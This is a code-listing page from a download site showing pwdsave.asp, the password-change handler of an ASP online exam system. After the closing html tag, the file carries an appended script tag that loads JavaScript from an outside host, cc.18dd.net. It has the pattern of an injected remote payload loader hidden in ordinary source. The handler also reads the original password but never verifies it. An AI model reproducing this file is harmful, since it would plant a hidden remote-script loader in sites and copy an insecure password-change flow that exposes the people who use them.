⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pwdsave.asp

📁 通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务
💻 ASP
字号:
<!--#include file="isAdmin.asp"-->
<html>
<head>
<title>用户管理</title>
</head>
<body>
<%
  OriPwd = Request.Form("OriPwd")
  Pwd = Request.Form("Pwd")
  '设置SQL语句,判断是否存在此用户
  Set usr = New EUsers
  usr.UserName = trim(Session("UserName")) 
  usr.UserPwd = trim(Session("UserPwd"))  
  If usr.HaveUser(1)=0 Then
	Response.Write "不存在此用户名或密码错误!"
%>
	<Script Language="JavaScript">	
      setTimeout("history.go(-1)",1600);	  	  
  	</Script>
<%
  Else
    usr.UserPwd = Pwd
    usr.UpdatePassword()
    response.write "<h2>更改密码成功!</h2>"
    Session("UserPwd") = Trim(Pwd)
%>
    <Script Language="JavaScript">
      setTimeout("window.close()",1600);	
    </Script>
<%
  End If	   
%>	
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -